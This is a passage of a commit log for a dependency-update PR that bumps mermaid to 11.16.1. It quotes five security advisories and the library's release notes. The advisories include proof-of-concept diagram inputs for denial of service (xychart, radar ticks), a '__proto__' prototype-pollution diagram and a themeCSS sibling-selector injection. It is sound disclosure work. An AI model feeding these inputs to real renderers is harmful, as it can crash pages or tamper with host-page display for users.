metadata.
- Streamlined context handling with document scope selections and
selected-source synchronization.
- **Bug Fixes**
- Improved compatibility and reliability across web, Android, and iOS
Copilot workflows.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-10 18:16:13 +08:00
renovate[bot] 7bc349c4de chore: bump up mermaid version to v11.16.1 [SECURITY] (#15443)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [mermaid](https://redirect.github.com/mermaid-js/mermaid) | [`11.15.0`
→ `11.16.1`](https://renovatebot.com/diffs/npm/mermaid/11.15.0/11.16.1)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/mermaid/11.16.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/mermaid/11.15.0/11.16.1?slim=true)
|

---

### Mermaid XY Charts are vulnerable to an infinite loop DoS
[CVE-2026-71436](https://nvd.nist.gov/vuln/detail/CVE-2026-71436) /
[GHSA-2v8p-3f2j-5mp7](https://redirect.github.com/advisories/GHSA-2v8p-3f2j-5mp7)

<details>
<summary>More information</summary>

#### Details
##### Impact

Mermaid XY Charts are vulnerable to an infinite loop DoS attack in the
`setXAxisRangeData()`, when configuring an X-Axis with invalid
parameters.

As each loop appends an element to an array, this would generally only
cause an `RangeError: Invalid array length` to appear after a few
seconds, but may cause the page/JavaScript process to crash due to
memory exhaustion, depending on the environment.

##### Proof-of-concept

```txt
xychart
  x-axis 1 --> 1
  line [1, 2]
```

##### Patches

This has been patched in
https://github.com/mermaid-js/mermaid/commit/630aa7e5dd417e1f56bff2a1ce8df2c5ad08d289
and released in [Mermaid
v11.16.1](https://redirect.github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1).

A backport has been made for the v10 branch in
ef60adc837d9d5107af21285f01e83dea309bd0a and was released in [Mermaid
v10.9.8](https://redirect.github.com/mermaid-js/mermaid/releases/tag/v10.9.8)

##### Workarounds

There are no known workarounds. Please update to the latest version or
apply the patch.

##### References

-
https://github.com/mermaid-js/mermaid/commit/630aa7e5dd417e1f56bff2a1ce8df2c5ad08d289
- https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1
-
https://github.com/mermaid-js/mermaid/commit/ef60adc837d9d5107af21285f01e83dea309bd0a
- https://github.com/mermaid-js/mermaid/releases/tag/v10.9.8

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L`

#### References
-
[https://github.com/mermaid-js/mermaid/security/advisories/GHSA-2v8p-3f2j-5mp7](https://redirect.github.com/mermaid-js/mermaid/security/advisories/GHSA-2v8p-3f2j-5mp7)
-
[https://github.com/mermaid-js/mermaid/pull/8022](https://redirect.github.com/mermaid-js/mermaid/pull/8022)
-
[https://github.com/mermaid-js/mermaid/commit/630aa7e5dd417e1f56bff2a1ce8df2c5ad08d289](https://redirect.github.com/mermaid-js/mermaid/commit/630aa7e5dd417e1f56bff2a1ce8df2c5ad08d289)
-
[https://github.com/mermaid-js/mermaid/commit/ef60adc837d9d5107af21285f01e83dea309bd0a](https://redirect.github.com/mermaid-js/mermaid/commit/ef60adc837d9d5107af21285f01e83dea309bd0a)
-
[https://github.com/mermaid-js/mermaid/releases/tag/mermaid@11.16.1](https://redirect.github.com/mermaid-js/mermaid/releases/tag/mermaid@11.16.1)
-
[https://github.com/mermaid-js/mermaid/releases/tag/v10.9.8](https://redirect.github.com/mermaid-js/mermaid/releases/tag/v10.9.8)
-
[https://github.com/advisories/GHSA-2v8p-3f2j-5mp7](https://redirect.github.com/advisories/GHSA-2v8p-3f2j-5mp7)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-2v8p-3f2j-5mp7)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Mermaid Architecture diagrams are vulnerable to prototype pollution
[CVE-2026-71437](https://nvd.nist.gov/vuln/detail/CVE-2026-71437) /
[GHSA-3rrr-jr9j-h3q3](https://redirect.github.com/advisories/GHSA-3rrr-jr9j-h3q3)

<details>
<summary>More information</summary>

#### Details
Rendering an untrusted `architecture-beta` diagram lets the diagram
author write an arbitrary property with the value `horizontal` or
`vertical` onto `Object.prototype`. A group id of `__proto__` is
accepted as a valid parent.

##### Impact

Any code in the same realm that reads a property of that name from an
arbitrary object, or enumerates an object with bare `for...in`, observes
the injected value (which can only be the string `horizontal` or
`vertical`.

This may mean corrupted option/config defaults, bypassed truthiness
checks, causing denial of service or logic corruption in the embedding
application.

Because the injected value cannot be an object or function, this is not
directly exploitable for remote code execution.

##### PoC

```
architecture-beta
      group mermaidPrototypePollutionMarker(cloud)[Marker]
      service a(server)[A] in __proto__
      service b(server)[B] in mermaidPrototypePollutionMarker
      a:R -- L:b
```

The vulnerable write was introduced in commit
[cb0a4703bdf01d47508bde1c08aa9a980d70bc20](https://redirect.github.com/mermaid-js/mermaid/commit/cb0a4703bdf01d47508bde1c08aa9a980d70bc20)
and first shipped in `mermaid@11.5.0`. The lines are unchanged in every
release since.

##### Patches

This has been patched by
https://github.com/mermaid-js/mermaid/commit/99af3fc35ef0a9a9c8c6314521344d67523ddccf,
released in [Mermaid
v11.16.1](https://redirect.github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1)

##### Workarounds

There are no known workarounds. Please update to a patched version.

##### References

_Are there any links users can visit to find out more?_

-
https://github.com/mermaid-js/mermaid/commit/99af3fc35ef0a9a9c8c6314521344d67523ddccf
- https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1

#### Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:H/SI:H/SA:H`

#### References
-
[https://github.com/mermaid-js/mermaid/security/advisories/GHSA-3rrr-jr9j-h3q3](https://redirect.github.com/mermaid-js/mermaid/security/advisories/GHSA-3rrr-jr9j-h3q3)
-
[https://github.com/mermaid-js/mermaid/pull/8022](https://redirect.github.com/mermaid-js/mermaid/pull/8022)
-
[https://github.com/mermaid-js/mermaid/commit/99af3fc35ef0a9a9c8c6314521344d67523ddccf](https://redirect.github.com/mermaid-js/mermaid/commit/99af3fc35ef0a9a9c8c6314521344d67523ddccf)
-
[https://github.com/mermaid-js/mermaid/releases/tag/mermaid@11.16.1](https://redirect.github.com/mermaid-js/mermaid/releases/tag/mermaid@11.16.1)
-
[https://github.com/advisories/GHSA-3rrr-jr9j-h3q3](https://redirect.github.com/advisories/GHSA-3rrr-jr9j-h3q3)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-3rrr-jr9j-h3q3)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Mermaid allows CSS injection applying to sibling elements of the
diagram
[CVE-2026-50159](https://nvd.nist.gov/vuln/detail/CVE-2026-50159) /
[GHSA-6x64-9x62-f2gx](https://redirect.github.com/advisories/GHSA-6x64-9x62-f2gx)

<details>
<summary>More information</summary>

#### Details
##### Summary

Mermaid does not fully restrict CSS to the rendered SVG subtree.
Although selectors are prefixed with `#mermaid-X`, sibling (`~` and `+`)
combinators can still escape the Mermaid container and inject styles to
DOM elements adjacent to the diagram `<svg>`.

**Most users of mermaid would not be affected by this**, as mermaid adds
its `<svg>` as an only child of it's parent element. However, you may be
affected if you manually insert the `<svg>` (or other elements) into the
DOM yourself.

##### Details

Mermaid namespaces CSS through with a middleware intended to scope all
rules to the diagram's SVG element. CSS nesting expands `& ~ * { ... }`
to `#svgId ~ *`, which selects all sibling elements following the SVG in
the DOM, outside the diagram boundary.

##### Impact

An attacker able to supply diagram source to a page (e.g.,
user-generated content rendered by Mermaid) could inject CSS rules
affecting sibling elements to the diagram `<svg>` on the host page. This
can be used for UI redressing, hiding content, conditional CSS-based
probing, or phishing-style visual manipulation.

JavaScript execution is not possible via this vector.

##### Patches

This has been patched in
https://github.com/mermaid-js/mermaid/commit/12d472c9ed43f94814b110da8d7a9ae6dd5266ed
and released in [Mermaid
v11.16.1](https://redirect.github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1).

A backport has been made for the v10 branch in
7e83f1533318b307764d961906a73377266f4c5e and was released in [Mermaid
v10.9.8](https://redirect.github.com/mermaid-js/mermaid/releases/tag/v10.9.8)

##### Workarounds

If you are inserting the `<svg>` into the DOM yourself, you can wrap it
in an element with no other children, e.g. `<div><svg>...</svg></div>`
or `element.innerHTML = svg`. Alternatively, you can use `mermaid.run()`
or `mermaid.initialize()` which will do this for you.

Setting ["securityLevel":
"sandbox"](https://mermaid.js.org/config/schema-docs/config.html#securitylevel)
will also prevent this, or setting the
[`secure`](https://mermaid.js.org/config/schema-docs/config.html#secure)
config value in the mermaid config to avoid allowing diagrams to modify
`fontFamily`, `themeCSS`, `altFontFamily`, and `themeVariables`.

To test, you can try using a `themeCSS` with `& + * { /* my CSS here
*/}` and see if it's applied outside of your mermaid `<svg>`.

```mermaid-example
---
config:
  themeCSS: |-
    & + * { background:red !important; width:100vw !important; height:100vh !important; position:fixed !important; inset:0 !important; }
---
info
```

##### References

- GHSA-87f9-hvmw-gh4p/CVE-2026-41159 (related vulnerability)
-
https://github.com/mermaid-js/mermaid/commit/12d472c9ed43f94814b110da8d7a9ae6dd5266ed
- https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1
-
https://github.com/mermaid-js/mermaid/commit/7e83f1533318b307764d961906a73377266f4c5e
- https://github.com/mermaid-js/mermaid/releases/tag/v10.9.8

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L`

#### References
-
[https://github.com/mermaid-js/mermaid/security/advisories/GHSA-6x64-9x62-f2gx](https://redirect.github.com/mermaid-js/mermaid/security/advisories/GHSA-6x64-9x62-f2gx)
-
[https://github.com/mermaid-js/mermaid/pull/8022](https://redirect.github.com/mermaid-js/mermaid/pull/8022)
-
[https://github.com/mermaid-js/mermaid/commit/12d472c9ed43f94814b110da8d7a9ae6dd5266ed](https://redirect.github.com/mermaid-js/mermaid/commit/12d472c9ed43f94814b110da8d7a9ae6dd5266ed)
-
[https://github.com/mermaid-js/mermaid/commit/7e83f1533318b307764d961906a73377266f4c5e](https://redirect.github.com/mermaid-js/mermaid/commit/7e83f1533318b307764d961906a73377266f4c5e)
-
[https://github.com/mermaid-js/mermaid/releases/tag/mermaid@11.16.1](https://redirect.github.com/mermaid-js/mermaid/releases/tag/mermaid@11.16.1)
-
[https://github.com/mermaid-js/mermaid/releases/tag/v10.9.8](https://redirect.github.com/mermaid-js/mermaid/releases/tag/v10.9.8)
-
[https://github.com/advisories/GHSA-6x64-9x62-f2gx](https://redirect.github.com/advisories/GHSA-6x64-9x62-f2gx)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-6x64-9x62-f2gx)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Mermaid configuration APIs allow prototype pollution
[CVE-2026-71438](https://nvd.nist.gov/vuln/detail/CVE-2026-71438) /
[GHSA-c4c3-pg64-4m4v](https://redirect.github.com/advisories/GHSA-c4c3-pg64-4m4v)

<details>
<summary>More information</summary>

#### Details
##### Summary

Mermaid's configuration setters (`mermaid.initialize`,
`mermaidAPI.setConfig`, and `mermaidAPI.updateSiteConfig`) merge the
caller-supplied configuration object into Mermaid's internal config
using the `assignWithDepth` deep-merge helper that is vulnerable to
prototype pollution.

Because these APIs are intended to receive **trusted** configuration
supplied by the application integrating Mermaid, Mermaid assesses the
practical risk as **low**. The vulnerability is only reachable if an
application forwards attacker-controlled data directly into one of these
configuration entry points, which is outside their documented usage.

User-controlled configuration (e.g. configuration in diagram code using
`%%{init: {}}%%` or YAML frontmatter) are already protected from
prototype pollution.

##### Patches

This has been patched in
https://github.com/mermaid-js/mermaid/commit/2cd6dcf735533b323507e3e889ffdea870540b43
and released in [Mermaid
v11.16.1](https://redirect.github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1).

A backport has been made for the v10 branch in
c34b07a0815842327e70794d69b0c8c5a1e2a956 and was released in [Mermaid
v10.9.8](https://redirect.github.com/mermaid-js/mermaid/releases/tag/v10.9.8)

##### Impact

Mermaid believes it's unlikely that anybody is impacted, as these
functions are configuration entry points expected to receive trusted,
developer-controlled values as they can modify other security-relevant
configuration.

##### Workarounds

Don't pass user-controlled data to the `mermaid.initialize`,
`mermaidAPI.setConfig`, and `mermaidAPI.updateSiteConfig` functions.
Instead, users can use `%%{init: {}}%%` or YAML frontmatter in diagrams.

##### Reporters

- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@&#8203;gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@&#8203;uni.sydney.edu.au (Strick),
https://str1ckl4nd.github.io/
- chng0012@&#8203;uni.sydney.edu.au (Maurice),
http://maurice.busystar.org/
- cyu210608@&#8203;gmail.com (Chenchen), https://7thparkk.github.io/

#### Severity
- CVSS Score: 2.4 / 10 (Low)
- Vector String:
`CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:A/VC:N/VI:L/VA:L/SC:H/SI:H/SA:H`

#### References
-
[https://github.com/mermaid-js/mermaid/security/advisories/GHSA-c4c3-pg64-4m4v](https://redirect.github.com/mermaid-js/mermaid/security/advisories/GHSA-c4c3-pg64-4m4v)
-
[https://github.com/mermaid-js/mermaid/pull/8022](https://redirect.github.com/mermaid-js/mermaid/pull/8022)
-
[https://github.com/mermaid-js/mermaid/commit/2cd6dcf735533b323507e3e889ffdea870540b43](https://redirect.github.com/mermaid-js/mermaid/commit/2cd6dcf735533b323507e3e889ffdea870540b43)
-
[https://github.com/mermaid-js/mermaid/commit/c34b07a0815842327e70794d69b0c8c5a1e2a956](https://redirect.github.com/mermaid-js/mermaid/commit/c34b07a0815842327e70794d69b0c8c5a1e2a956)
-
[https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1](https://redirect.github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1)
-
[https://github.com/mermaid-js/mermaid/releases/tag/v10.9.8](https://redirect.github.com/mermaid-js/mermaid/releases/tag/v10.9.8)
-
[https://github.com/advisories/GHSA-c4c3-pg64-4m4v](https://redirect.github.com/advisories/GHSA-c4c3-pg64-4m4v)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-c4c3-pg64-4m4v)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Mermaid radar diagrams are vulnerable to DoS
[CVE-2026-71439](https://nvd.nist.gov/vuln/detail/CVE-2026-71439) /
[GHSA-rhh3-jpg6-66xh](https://redirect.github.com/advisories/GHSA-rhh3-jpg6-66xh)

<details>
<summary>More information</summary>

#### Details
##### Impact

Mermaid radar diagrams allow arbitrary large values for `ticks`, which
can cause high CPU usage, freezing the webpage/JavaScript process for
long periods of time, until the process is eventually killed due to
OOM/running out of memory.

##### Proof-of-concept

```txt
radar-beta
  axis a, b
  curve c {1, 1}
  ticks 1000000000
```

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

This problem has been patched by
https://github.com/mermaid-js/mermaid/commit/59b22fad2b3bb04f87a476c84a8a2b24679e607e,
which was released in [Mermaid
v11.16.1](https://redirect.github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1)

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

There are no known workarounds without updating to a patched version of
mermaid.

##### References

_Are there any links users can visit to find out more?_

-
https://github.com/mermaid-js/mermaid/commit/59b22fad2b3bb04f87a476c84a8a2b24679e607e
- https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L`

#### References
-
[https://github.com/mermaid-js/mermaid/security/advisories/GHSA-rhh3-jpg6-66xh](https://redirect.github.com/mermaid-js/mermaid/security/advisories/GHSA-rhh3-jpg6-66xh)
-
[https://github.com/mermaid-js/mermaid/pull/8022](https://redirect.github.com/mermaid-js/mermaid/pull/8022)
-
[https://github.com/mermaid-js/mermaid/commit/59b22fad2b3bb04f87a476c84a8a2b24679e607e](https://redirect.github.com/mermaid-js/mermaid/commit/59b22fad2b3bb04f87a476c84a8a2b24679e607e)
-
[https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1](https://redirect.github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1)
-
[https://github.com/advisories/GHSA-rhh3-jpg6-66xh](https://redirect.github.com/advisories/GHSA-rhh3-jpg6-66xh)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-rhh3-jpg6-66xh)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>mermaid-js/mermaid (mermaid)</summary>

###
[`v11.16.1`](https://redirect.github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.1)

[Compare
Source](https://redirect.github.com/mermaid-js/mermaid/compare/mermaid@11.16.0...mermaid@11.16.1)

##### Patch Changes

-
[#&#8203;8022](https://redirect.github.com/mermaid-js/mermaid/pull/8022)
[`12d472c`](https://redirect.github.com/mermaid-js/mermaid/commit/12d472c9ed43f94814b110da8d7a9ae6dd5266ed)
Thanks [@&#8203;aloisklink](https://redirect.github.com/aloisklink)! -
fix: handle CSS sibling combinators in compileCSS

-
[#&#8203;8022](https://redirect.github.com/mermaid-js/mermaid/pull/8022)
[`2cd6dcf`](https://redirect.github.com/mermaid-js/mermaid/commit/2cd6dcf735533b323507e3e889ffdea870540b43)
Thanks [@&#8203;aloisklink](https://redirect.github.com/aloisklink)! -
fix: increase protections against prototype pollution

User-controlled input already has protections against prototype
pollution.

  Fixes: GHSA-c4c3-pg64-4m4v

-
[#&#8203;8022](https://redirect.github.com/mermaid-js/mermaid/pull/8022)
[`99af3fc`](https://redirect.github.com/mermaid-js/mermaid/commit/99af3fc35ef0a9a9c8c6314521344d67523ddccf)
Thanks [@&#8203;aloisklink](https://redirect.github.com/aloisklink)! -
fix(architecture): use `Map`s and `Set`s to store groups/services

Services are now rendered in the order they are defined and more service
IDs
  are now supported.

-
[#&#8203;8022](https://redirect.github.com/mermaid-js/mermaid/pull/8022)
[`2cd6dcf`](https://redirect.github.com/mermaid-js/mermaid/commit/2cd6dcf735533b323507e3e889ffdea870540b43)
Thanks [@&#8203;aloisklink](https://redirect.github.com/aloisklink)! -
deprecate: Deprecate the `mermaidAPI.setConfig()` function

  Calling this function has no observable effect, as the next time a
  `render()` or `parse()` is called, the `currentConfig` is cleared.

-
[#&#8203;8022](https://redirect.github.com/mermaid-js/mermaid/pull/8022)
[`630aa7e`](https://redirect.github.com/mermaid-js/mermaid/commit/630aa7e5dd417e1f56bff2a1ce8df2c5ad08d289)
Thanks [@&#8203;aloisklink](https://redirect.github.com/aloisklink)! -
fix(xychart): support zero-width x-axis ranges

-
[#&#8203;8022](https://redirect.github.com/mermaid-js/mermaid/pull/8022)
[`59b22fa`](https://redirect.github.com/mermaid-js/mermaid/commit/59b22fad2b3bb04f87a476c84a8a2b24679e607e)
Thanks [@&#8203;aloisklink](https://redirect.github.com/aloisklink)! -
fix(radar): limit number of ticks to 32

  Setting a ticks value higher than this would only show 32 ticks.

###
[`v11.16.0`](https://redirect.github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.16.0)

[Compare
Source](https://redirect.github.com/mermaid-js/mermaid/compare/mermaid@11.15.0...mermaid@11.16.0)

##### Minor Changes

-
[#&#8203;7535](https://redirect.github.com/mermaid-js/mermaid/pull/7535)
[`ea1c48f`](https://redirect.github.com/mermaid-js/mermaid/commit/ea1c48f53fce5d025388d386c90da8743ee25b13)
Thanks [@&#8203;ragelink](https://redirect.github.com/ragelink)! -
feat(cynefin): Adds the Cynefin framework as a new diagram type (beta)
to Mermaid (available as `cynefin-beta`). The Cynefin framework, created
by Dave Snowden, is a decision-making framework that categorizes
problems into five complexity domains, widely used in agile, incident
management, strategy, and organizational design.

-
[#&#8203;7721](https://redirect.github.com/mermaid-js/mermaid/pull/7721)
[`f45cc2c`](https://redirect.github.com/mermaid-js/mermaid/commit/f45cc2cc5683b90990e374a463b7bcad0fd68a38)
Thanks
[@&#8203;notionparallax](https://redirect.github.com/notionparallax)! -
feat(treeView): add box-drawing character input support for treeView
diagrams

-
[#&#8203;7550](https://redirect.github.com/mermaid-js/mermaid/pull/7550)
[`f1f4d45`](https://redirect.github.com/mermaid-js/mermaid/commit/f1f4d45ee0513b64a2bd280087d31656f9d2c786)
Thanks
[@&#8203;DominicBurkart](https://redirect.github.com/DominicBurkart)! -
feat(xychart): add per-point text labels for xychart line plots

-
[#&#8203;7527](https://redirect.github.com/mermaid-js/mermaid/pull/7527)
[`b4d0442`](https://redirect.github.com/mermaid-js/mermaid/commit/b4d0442dd1628acb3f71681519e7f47fc8bacf55)
Thanks
[@&#8203;notionparallax](https://redirect.github.com/notionparallax)! -
feat(treeView): Extends the existing treeView-beta diagram with features
useful for representing file/directory structures.

-
[#&#8203;7793](https://redirect.github.com/mermaid-js/mermaid/pull/7793)
[`a6f097d`](https://redirect.github.com/mermaid-js/mermaid/commit/a6f097d580d459dfc3ade3e21030037341f79940)
Thanks [@&#8203;SSDWGG](https://redirect.github.com/SSDWGG)! - feat(er):
support optional ER attribute types with a `?` suffix

-
[#&#8203;7772](https://redirect.github.com/mermaid-js/mermaid/pull/7772)
[`37f2e36`](https://redirect.github.com/mermaid-js/mermaid/commit/37f2e36fa017698b66093ac5518396523a7a3241)
Thanks [@&#8203;devareddy05](https://redirect.github.com/devareddy05)! -
feat(gantt): support multiple `excludes` / `includes` lines so long
exclusion lists can be split into commented groups
([#&#8203;6270](https://redirect.github.com/mermaid-js/mermaid/issues/6270))

-
[#&#8203;7708](https://redirect.github.com/mermaid-js/mermaid/pull/7708)
[`4e63e9d`](https://redirect.github.com/mermaid-js/mermaid/commit/4e63e9d338b6476df283afd4a002072945bc4563)
Thanks [@&#8203;txmxthy](https://redirect.github.com/txmxthy)! -
feat(architecture): add `align row|column {ids…}` directive to
architecture-beta diagrams so authors can declare horizontal or vertical
alignment of services explicitly.

-
[#&#8203;7760](https://redirect.github.com/mermaid-js/mermaid/pull/7760)
[`05223be`](https://redirect.github.com/mermaid-js/mermaid/commit/05223bee47a424be3ba7805e753b96861d342765)
Thanks [@&#8203;ngdaniels](https://redirect.github.com/ngdaniels)! -
feat(pie): Enhance Pie Chart - Enable donut chart, Set legend position,
and highlight slice

-
[#&#8203;7251](https://redirect.github.com/mermaid-js/mermaid/pull/7251)
[`216e4e9`](https://redirect.github.com/mermaid-js/mermaid/commit/216e4e9a61afceae885b00854f79e17373ccad31)
Thanks [@&#8203;ydah](https://redirect.github.com/ydah)! -
feat(railroad): Add support for Railroad Diagrams (Syntax Diagrams) with
four input syntaxes: IR (railroad-beta), EBNF (railroad-ebnf-beta), ABNF
(railroad-abnf-beta), and PEG (railroad-peg-beta).

-
[#&#8203;7774](https://redirect.github.com/mermaid-js/mermaid/pull/7774)
[`e5c75e6`](https://redirect.github.com/mermaid-js/mermaid/commit/e5c75e6b797f84f8f652d8771eb1ce6161dd8f89)
Thanks [@&#8203;ngdaniels](https://redirect.github.com/ngdaniels)! -
feat(xychart): enable rotate label on X-axis

-
[#&#8203;7791](https://redirect.github.com/mermaid-js/mermaid/pull/7791)
[`974fa7b`](https://redirect.github.com/mermaid-js/mermaid/commit/974fa7b7e791b442ad5f7862f1cbecd53d982485)
Thanks [@&#8203;knsv-bot](https://redirect.github.com/knsv-bot)! -
feat(swimlane): add swimlane as a standalone diagram type with a
dedicated layered orthogonal layout algorithm

##### Patch Changes

-
[#&#8203;7744](https://redirect.github.com/mermaid-js/mermaid/pull/7744)
[`633c261`](https://redirect.github.com/mermaid-js/mermaid/commit/633c261dadbaa20ee0cf9a0299e2269abe4ca573)
Thanks
[@&#8203;ashishjain0512](https://redirect.github.com/ashishjain0512)! -
fix(architecture): add `architecture.seed` config option to make
architecture diagrams render deterministically. Resolves
[#&#8203;7729](https://redirect.github.com/mermaid-js/mermaid/issues/7729).

-
[#&#8203;7732](https://redirect.github.com/mermaid-js/mermaid/pull/7732)
[`c8ba156`](https://redirect.github.com/mermaid-js/mermaid/commit/c8ba156f551e94dd9a5c30b4971fe83ef3538634)
Thanks [@&#8203;rkdfx](https://redirect.github.com/rkdfx)! - fix:
tolerate leading horizontal whitespace before YAML frontmatter
delimiters. Closes
[#&#8203;7613](https://redirect.github.com/mermaid-js/mermaid/issues/7613)

-
[#&#8203;7314](https://redirect.github.com/mermaid-js/mermaid/pull/7314)
[`4e4e6c4`](https://redirect.github.com/mermaid-js/mermaid/commit/4e4e6c4a108d834dd0f643b08deb89159e0eca94)
Thanks [@&#8203;darshanr0107](https://redirect.github.com/darshanr0107)!
- fix(flowchart): Prevent crash when flowchart node shape is undefined

-
[#&#8203;7762](https://redirect.github.com/mermaid-js/mermaid/pull/7762)
[`cfd2391`](https://redirect.github.com/mermaid-js/mermaid/commit/cfd23916f3c6b3ceafc4c0cfaf4078f6442bbc4f)
Thanks [@&#8203;Dharya-dev](https://redirect.github.com/Dharya-dev)! -
fix(class): support styling and callbacks for generic classes

-
[#&#8203;7284](https://redirect.github.com/mermaid-js/mermaid/pull/7284)
[`c1f116d`](https://redirect.github.com/mermaid-js/mermaid/commit/c1f116d36646786326c596a5f25e519bdaac7748)
Thanks [@&#8203;darshanr0107](https://redirect.github.com/darshanr0107)!
- fix(gantt): Render gantt vertical markers without affecting row layout
or chart height

-
[#&#8203;7786](https://redirect.github.com/mermaid-js/mermaid/pull/7786)
[`72fbab1`](https://redirect.github.com/mermaid-js/mermaid/commit/72fbab1a4d6efbfa219b13c1639dabcadc754ad8)
Thanks [@&#8203;knsv-bot](https://redirect.github.com/knsv-bot)! -
fix(er): allow special characters (e.g. dots) in ER diagram attribute
names and types by escaping them with backticks

-
[#&#8203;7672](https://redirect.github.com/mermaid-js/mermaid/pull/7672)
[`4887e97`](https://redirect.github.com/mermaid-js/mermaid/commit/4887e9721c33b5d771306a4e7ab768d78908a157)
Thanks [@&#8203;sjackson0109](https://redirect.github.com/sjackson0109)!
- fix(flowchart): respect per-subgraph direction keyword in Dagre
layout. Fixes
[#&#8203;4648](https://redirect.github.com/mermaid-js/mermaid/issues/4648)

-
[#&#8203;7734](https://redirect.github.com/mermaid-js/mermaid/pull/7734)
[`a4c1e50`](https://redirect.github.com/mermaid-js/mermaid/commit/a4c1e507a347256f1f3a42be3feb5b6ddc7257f2)
Thanks [@&#8203;OfirHaf](https://redirect.github.com/OfirHaf)! -
fix(block): read block padding and sanitize config dynamically instead
of at module load time

-
[#&#8203;7674](https://redirect.github.com/mermaid-js/mermaid/pull/7674)
[`cc75089`](https://redirect.github.com/mermaid-js/mermaid/commit/cc750896b21a2715256ac0de486bafe0351c40c4)
Thanks [@&#8203;cyphercodes](https://redirect.github.com/cyphercodes)! -
fix(block): respect current DOMPurify config when sanitizing labels

-
[#&#8203;7711](https://redirect.github.com/mermaid-js/mermaid/pull/7711)
[`be2e282`](https://redirect.github.com/mermaid-js/mermaid/commit/be2e28201445505ec68b1ebf6e3e6813fb6a6898)
Thanks [@&#8203;Jinacker](https://redirect.github.com/Jinacker)! -
fix(flowchart): render flowchart and state self-loop edges as a single
SVG path.

-
[#&#8203;7781](https://redirect.github.com/mermaid-js/mermaid/pull/7781)
[`d945968`](https://redirect.github.com/mermaid-js/mermaid/commit/d945968c13b154dcf2c89ad1e6ed5104458d32fe)
Thanks [@&#8203;Dharya-dev](https://redirect.github.com/Dharya-dev)! -
fix(radar): align axis labels based on angular position to prevent
clipping

-
[#&#8203;7661](https://redirect.github.com/mermaid-js/mermaid/pull/7661)
[`2f5e9e8`](https://redirect.github.com/mermaid-js/mermaid/commit/2f5e9e8c9aabb74e61e43428e91217e9585c8d05)
Thanks [@&#8203;nabila401](https://redirect.github.com/nabila401)! -
fix(venn): fix 3-circle venn diagram union rendering

-
[#&#8203;7780](https://redirect.github.com/mermaid-js/mermaid/pull/7780)
[`8dcdce4`](https://redirect.github.com/mermaid-js/mermaid/commit/8dcdce40ee091aafd546aa842aca8b4da1e49c1b)
Thanks [@&#8203;Dharya-dev](https://redirect.github.com/Dharya-dev)! -
fix(xychart): truncate plot data to match x-axis category count

-
[#&#8203;7235](https://redirect.github.com/mermaid-js/mermaid/pull/7235)
[`1bbc189`](https://redirect.github.com/mermaid-js/mermaid/commit/1bbc189b69be4c50a08ba74501567123769f30bb)
Thanks [@&#8203;darshanr0107](https://redirect.github.com/darshanr0107)!
- fix: Support consecutive LaTeX in node text

-
[#&#8203;7247](https://redirect.github.com/mermaid-js/mermaid/pull/7247)
[`365c1b1`](https://redirect.github.com/mermaid-js/mermaid/commit/365c1b1062dd6b5b7c59682f7df6b5c9ed40cd16)
Thanks [@&#8203;darshanr0107](https://redirect.github.com/darshanr0107)!
- fix(treeView): Ensure treemap labels render correctly in large nested
diagrams

-
[#&#8203;7754](https://redirect.github.com/mermaid-js/mermaid/pull/7754)
[`06a32b7`](https://redirect.github.com/mermaid-js/mermaid/commit/06a32b74fbe574ba36fb77ffd9743a8b884b2f55)
Thanks [@&#8203;palgunatm66](https://redirect.github.com/palgunatm66)! -
